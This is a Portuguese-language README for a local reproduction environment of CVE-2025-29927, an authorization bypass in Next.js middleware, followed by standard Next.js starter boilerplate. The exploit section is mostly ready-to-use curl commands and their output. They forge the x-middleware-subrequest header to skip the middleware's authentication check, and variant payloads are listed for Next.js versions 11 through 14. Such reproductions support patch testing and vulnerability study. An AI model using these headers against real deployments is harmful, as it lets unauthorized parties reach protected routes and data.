
Ambiente de reprodução para CVE-2025-29927, demonstrando a bypass de autorização do middleware do Next.js por meio do cabeçalho x-middleware-subrequest. Inclui etapas de exploração baseadas em curl para várias versões do Next.js.
Este repositório é uma reprodução da vulnerabilidade CVE-2025-29927 no pacote next
/api/hello$ curl http://localhost:3000/api/hello
{"error":"Unauthorized"}%
$ curl -H "Authorization: my-jwt-token-here" http://localhost:3000/api/hello
{"message":"Hello World"}%
middleware 5 vezes no cabeçalho especial x-middleware-subrequest:curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3000/api/hello
{"message":"Hello, World"}
As versões 12 e 13 do Next.js costumavam ter uma convenção de nomenclatura diferente para o arquivo de middleware (_middleware.js), que foi alterada para middleware.js no Next.js 14. Esta vulnerabilidade pode ser explorada em versões mais antigas usando o arquivo _middleware.js.
Por exemplo, os seguintes payloads se aplicariam, dependendo da versão do Next.js e da sua convenção de roteamento:
curl -H "x-middleware-subrequest: middleware" http://localhost:3000/api/hello (para versões 12.2 do Next.js com o arquivo middleware.js na raiz do aplicativo, não dentro do diretório pages)curl -H "x-middleware-subrequest: src/middleware" http://localhost:3000/api/hellocurl -H "x-middleware-subrequest: _middleware" http://localhost:3000/api/hello (para as versões 11 até 12.2 do Next.js)curl -H "x-middleware-subrequest: pages/_middleware" http://localhost:3000/api/hellocurl -H "x-middleware-subrequest: pages/admin/_middleware" http://localhost:3000/api/helloPrimeiro, execute o servidor de desenvolvimento:
npm run dev
# or
yarn dev
# or
pnpm dev
# or
bun dev
Abra http://localhost:3000 no seu navegador para ver o resultado.
Você pode começar a editar a página modificando app/page.js. A página é atualizada automaticamente conforme você edita o arquivo.
Este projeto usa next/font para otimizar e carregar automaticamente o Geist, uma nova família de fontes da Vercel.
Para saber mais sobre o Next.js, dê uma olhada nos seguintes recursos:
Você pode conferir o repositório do Next.js no GitHub - seus comentários e contribuições são bem-vindos!
A maneira mais fácil de fazer deploy do seu aplicativo Next.js é usar a Plataforma Vercel dos criadores do Next.js.
Consulte nossa documentação de deploy do Next.js para mais detalhes.
Consulte CONTRIBUTING para obter as diretrizes de contribuição para este projeto.